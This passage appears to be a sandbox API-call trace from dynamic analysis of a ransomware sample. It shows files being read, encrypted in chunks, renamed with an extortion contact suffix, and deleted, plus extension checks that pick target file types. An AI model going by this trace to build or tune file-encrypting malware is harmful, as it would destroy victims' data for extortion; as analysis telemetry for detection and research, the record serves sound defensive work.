(lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0198.912] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.912] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.913] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a0 [0198.913] GetLastError () returned 0x0 [0198.913] ReadFile (in: hFile=0x320, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x23420, lpOverlapped=0x0) returned 1 [0199.161] WriteFile (in: hFile=0x2a0, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0x23430, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0x23430, lpOverlapped=0x0) returned 1 [0199.164] ReadFile (in: hFile=0x320, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0199.164] WriteFile (in: hFile=0x2a0, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0xe8, lpOverlapped=0x0) returned 1 [0199.165] SetEndOfFile (hFile=0x2a0) returned 1 [0199.165] CloseHandle (hObject=0x2a0) returned 1 [0199.168] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.168] SetEndOfFile (hFile=0x320) returned 1 [0199.170] CloseHandle (hObject=0x320) returned 1 [0199.170] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0199.170] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll")) returned 1 [0199.170] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0199.170] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0199.170] lstrlenW (lpString=".doc") returned 4 [0199.170] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0199.170] lstrlenW (lpString=".docx") returned 5 [0199.170] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0199.170] lstrlenW (lpString=".pdf") returned 4 [0199.170] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0199.170] lstrlenW (lpString=".xls") returned 4 [0199.171] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0199.171] lstrlenW (lpString=".xlsx") returned 5 [0199.171] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0199.171] lstrlenW (lpString=".ppt") returned 4 [0199.171] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0199.171] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0199.171] lstrlenW (lpString=".zip") returned 4 [0199.171] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0199.171] lstrlenW (lpString=".rar") returned 4 [0199.171] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0199.171] lstrlenW (lpString=".bz2") returned 4 [0199.171] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0199.171] lstrlenW (lpString=".7z") returned 3 [0199.171] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0199.171] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0199.171] lstrlenW (lpString=".dbf") returned 4 [0199.171] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0199.171] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0199.171] lstrlenW (lpString=".1cd") returned 4 [0199.171] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0199.171] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0199.171] lstrlenW (lpString=".jpg") returned 4 [0199.171] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0199.171] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0199.171] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0199.171] lstrlenW (lpString=".doc") returned 4 [0199.171] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0199.171] lstrlenW (lpString=".docx") returned 5 [0199.171] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0199.171] lstrlenW (lpString=".pdf") returned 4 [0199.171] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0199.171] lstrlenW (lpString=".xls") returned 4 [0199.172] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0199.172] lstrlenW (lpString=".xlsx") returned 5 [0199.172] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0199.172] lstrlenW (lpString=".ppt") returned 4 [0199.172] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0199.172] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0199.172] lstrlenW (lpString=".zip") returned 4 [0199.172] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0199.172] lstrlenW (lpString=".rar") returned 4 [0199.172] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0199.172] lstrlenW (lpString=".bz2") returned 4 [0199.172] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0199.172] lstrlenW (lpString=".7z") returned 3 [0199.172] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0199.172] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0199.172] lstrlenW (lpString=".dbf") returned 4 [0199.172] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0199.172] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0199.172] lstrlenW (lpString=".1cd") returned 4 [0199.172] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0199.172] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0199.172] lstrlenW (lpString=".jpg") returned 4 [0199.172] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0199.172] lstrcmpiW (lpString1=".msu", lpString2=".LOVE") returned 1 [0199.172] lstrlenW (lpString="Windows6.1-KB958488-v6001-x64.msu") returned 33 [0199.172] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0199.172] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=5091790) returned 1 [0199.173] CloseHandle (hObject=0x320) returned 1 [0199.173] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu")) returned 0x80 [0199.173] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0199.173] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu"), lpNewFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu.id-b4197730.[seeyoubro@tutanota.com].love")) returned 1 [0199.173] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0199.174] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fc64 | out: lpNewFilePointer=0x0) returned 1 [0199.174] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fc24 | out: lpNewFilePointer=0x0) returned 1 [0199.174] ReadFile (in: hFile=0x320, lpBuffer=0x3e68058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x315fc30, lpOverlapped=0x0 | out: lpBuffer=0x3e68058*, lpNumberOfBytesRead=0x315fc30*=0x40000, lpOverlapped=0x0) returned 1 [0199.348] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x19e5ef, lpNewFilePointer=0x0, dwMoveMethod=0x315fc24 | out: lpNewFilePointer=0x0) returned 1 [0199.348] ReadFile (in: hFile=0x320, lpBuffer=0x3ea8058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x315fc30, lpOverlapped=0x0 | out: lpBuffer=0x3ea8058*, lpNumberOfBytesRead=0x315fc30*=0x40000, lpOverlapped=0x0) returned 1 [0199.591] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x315fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0199.591] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x49b1ce, lpNewFilePointer=0x0, dwMoveMethod=0x315fc24 | out: lpNewFilePointer=0x0) returned 1 [0199.591] ReadFile (in: hFile=0x320, lpBuffer=0x3ee8058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x315fc30, lpOverlapped=0x0 | out: lpBuffer=0x3ee8058*, lpNumberOfBytesRead=0x315fc30*=0x40000, lpOverlapped=0x0) returned 1 [0199.944] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.944] WriteFile (in: hFile=0x320, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0xc012e, lpNumberOfBytesWritten=0x315fca8, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fca8*=0xc012e, lpOverlapped=0x0) returned 1 [0200.158] SetEndOfFile (hFile=0x320) returned 1 [0200.158] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x40000) returned 0x4371440 [0200.161] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fc74 | out: lpNewFilePointer=0x0) returned 1 [0200.161] WriteFile (in: hFile=0x320, lpBuffer=0x4371440*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x315fc80, lpOverlapped=0x0 | out: lpBuffer=0x4371440*, lpNumberOfBytesWritten=0x315fc80*=0x40000, lpOverlapped=0x0) returned 1 [0200.162] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x19e5ef, lpNewFilePointer=0x0, dwMoveMethod=0x315fc74 | out: lpNewFilePointer=0x0) returned 1 [0200.163] WriteFile (in: hFile=0x320, lpBuffer=0x4371440*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x315fc80, lpOverlapped=0x0 | out: lpBuffer=0x4371440*, lpNumberOfBytesWritten=0x315fc80*=0x40000, lpOverlapped=0x0) returned 1 [0200.164] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x49b1ce, lpNewFilePointer=0x0, dwMoveMethod=0x315fc74 | out: lpNewFilePointer=0x0) returned 1 [0200.164] WriteFile (in: hFile=0x320, lpBuffer=0x4371440*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x315fc80, lpOverlapped=0x0 | out: lpBuffer=0x4371440*, lpNumberOfBytesWritten=0x315fc80*=0x40000, lpOverlapped=0x0) returned 1 [0200.165] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4371440 | out: hHeap=0x790000) returned 1 [0200.167] CloseHandle (hObject=0x320) returned 1 [0201.345] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0201.346] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0201.346] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0201.346] lstrlenW (lpString=".doc") returned 4 [0201.346] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0201.346] lstrlenW (lpString=".docx") returned 5 [0201.346] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1 [0201.346] lstrlenW (lpString=".pdf") returned 4 [0201.346] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0201.346] lstrlenW (lpString=".xls") returned 4 [0201.346] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0201.346] lstrlenW (lpString=".xlsx") returned 5 [0201.346] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1 [0201.346] lstrlenW (lpString=".ppt") returned 4 [0201.346] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0201.346] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0201.346] lstrlenW (lpString=".zip") returned 4 [0201.346] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0201.346] lstrlenW (lpString=".rar") returned 4 [0201.346] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0201.346] lstrlenW (lpString=".bz2") returned 4 [0201.346] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0201.346] lstrlenW (lpString=".7z") returned 3 [0201.346] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0201.346] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0201.346] lstrlenW (lpString=".dbf") returned 4 [0201.346] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0201.346] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0201.346] lstrlenW (lpString=".1cd") returned 4 [0201.346] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0201.346] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0201.347] lstrlenW (lpString=".jpg") returned 4 [0201.347] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0201.347] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0201.347] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0201.347] lstrlenW (lpString=".doc") returned 4 [0201.347] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0201.347] lstrlenW (lpString=".docx") returned 5 [0201.347] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1 [0201.347] lstrlenW (lpString=".pdf") returned 4 [0201.347] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0201.347] lstrlenW (lpString=".xls") returned 4 [0201.347] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0201.347] lstrlenW (lpString=".xlsx") returned 5 [0201.347] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1 [0201.347] lstrlenW (lpString=".ppt") returned 4 [0201.347] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0201.347] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0201.347] lstrlenW (lpString=".zip") returned 4 [0201.347] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0201.347] lstrlenW (lpString=".rar") returned 4 [0201.347] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0201.347] lstrlenW (lpString=".bz2") returned 4 [0201.347] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0201.347] lstrlenW (lpString=".7z") returned 3 [0201.347] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0201.347] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0201.347] lstrlenW (lpString=".dbf") returned 4 [0201.347] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0201.347] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0201.347] lstrlenW (lpString=".1cd") returned 4 [0201.347] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0201.347] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0201.347] lstrlenW (lpString=".jpg") returned 4 [0201.347] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0201.348] lstrcmpiW (lpString1=".msu", lpString2=".LOVE") returned 1 [0201.348] lstrlenW (lpString="Windows6.1-KB958488-v6001-x86.msu") returned 33 [0201.348] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0201.348] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=2141433) returned 1 [0201.348] CloseHandle (hObject=0x320) returned 1 [0201.348] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu")) returned 0x80 [0201.348] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0201.348] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu"), lpNewFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu.id-b4197730.[seeyoubro@tutanota.com].love")) returned 1 [0201.348] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0201.349] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fc64 | out: lpNewFilePointer=0x0) returned 1 [0201.349] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fc24 | out: lpNewFilePointer=0x0) returned 1 [0201.349] ReadFile (in: hFile=0x320, lpBuffer=0x3e68058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x315fc30, lpOverlapped=0x0 | out: lpBuffer=0x3e68058*, lpNumberOfBytesRead=0x315fc30*=0x40000, lpOverlapped=0x0) returned 1 [0201.421] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0xae453, lpNewFilePointer=0x0, dwMoveMethod=0x315fc24 | out: lpNewFilePointer=0x0) returned 1 [0201.421] ReadFile (in: hFile=0x320, lpBuffer=0x3ea8058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x315fc30, lpOverlapped=0x0 | out: lpBuffer=0x3ea8058*, lpNumberOfBytesRead=0x315fc30*=0x40000, lpOverlapped=0x0) returned 1 [0201.547] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x315fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0201.547] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x1cacf9, lpNewFilePointer=0x0, dwMoveMethod=0x315fc24 | out: lpNewFilePointer=0x0) returned 1 [0201.547] ReadFile (in: hFile=0x320, lpBuffer=0x3ee8058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x315fc30, lpOverlapped=0x0 | out: lpBuffer=0x3ee8058*, lpNumberOfBytesRead=0x315fc30*=0x40000, lpOverlapped=0x0) returned 1 [0201.636] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0201.636] WriteFile (in: hFile=0x320, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0xc012e, lpNumberOfBytesWritten=0x315fca8, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fca8*=0xc012e, lpOverlapped=0x0) returned 1 [0201.648] SetEndOfFile (hFile=0x320) returned 1 [0201.649] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x40000) returned 0x42d13f8 [0201.832] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fc74 | out: lpNewFilePointer=0x0) returned 1 [0201.832] WriteFile (in: hFile=0x320, lpBuffer=0x42d13f8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x315fc80, lpOverlapped=0x0 | out: lpBuffer=0x42d13f8*, lpNumberOfBytesWritten=0x315fc80*=0x40000, lpOverlapped=0x0) returned 1 [0201.833] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0xae453, lpNewFilePointer=0x0, dwMoveMethod=0x315fc74 | out: lpNewFilePointer=0x0) returned 1 [0201.833] WriteFile (in: hFile=0x320, lpBuffer=0x42d13f8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x315fc80, lpOverlapped=0x0 | out: lpBuffer=0x42d13f8*, lpNumberOfBytesWritten=0x315fc80*=0x40000, lpOverlapped=0x0) returned 1 [0201.883] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x1cacf9, lpNewFilePointer=0x0, dwMoveMethod=0x315fc74 | out: lpNewFilePointer=0x0) returned 1 [0201.883] WriteFile (in: hFile=0x320, lpBuffer=0x42d13f8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x315fc80, lpOverlapped=0x0 | out: lpBuffer=0x42d13f8*, lpNumberOfBytesWritten=0x315fc80*=0x40000, lpOverlapped=0x0) returned 1 [0201.908] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42d13f8 | out: hHeap=0x790000) returned 1 [0201.911] CloseHandle (hObject=0x320) returned 1 [0202.985] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0202.985] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0202.985] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0202.985] lstrlenW (lpString=".doc") returned 4 [0202.986] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0202.986] lstrlenW (lpString=".docx") returned 5 [0202.986] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1 [0202.990] lstrlenW (lpString=".pdf") returned 4 [0202.990] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0202.990] lstrlenW (lpString=".xls") returned 4 [0202.990] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0202.990] lstrlenW (lpString=".xlsx") returned 5 [0202.990] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1 [0202.990] lstrlenW (lpString=".ppt") returned 4 [0202.990] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0202.990] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0202.990] lstrlenW (lpString=".zip") returned 4 [0202.990] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0202.991] lstrlenW (lpString=".rar") returned 4 [0202.991] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0202.991] lstrlenW (lpString=".bz2") returned 4 [0202.991] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0202.991] lstrlenW (lpString=".7z") returned 3 [0202.991] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0202.991] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0202.991] lstrlenW (lpString=".dbf") returned 4 [0202.991] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0202.991] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0202.991] lstrlenW (lpString=".1cd") returned 4 [0202.991] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0202.991] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0202.991] lstrlenW (lpString=".jpg") returned 4 [0202.991] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0202.991] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0202.991] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0202.991] lstrlenW (lpString=".doc") returned 4 [0202.991] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0202.991] lstrlenW (lpString=".docx") returned 5 [0202.991] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1 [0202.991] lstrlenW (lpString=".pdf") returned 4 [0202.991] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0202.991] lstrlenW (lpString=".xls") returned 4 [0202.991] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0202.991] lstrlenW (lpString=".xlsx") returned 5 [0202.991] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1 [0202.991] lstrlenW (lpString=".ppt") returned 4 [0202.991] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0202.992] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0202.992] lstrlenW (lpString=".zip") returned 4 [0202.992] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0202.992] lstrlenW (lpString=".rar") returned 4 [0202.992] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0202.992] lstrlenW (lpString=".bz2") returned 4 [0202.992] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0202.992] lstrlenW (lpString=".7z") returned 3 [0202.992] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0202.992] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0202.992] lstrlenW (lpString=".dbf") returned 4 [0202.992] 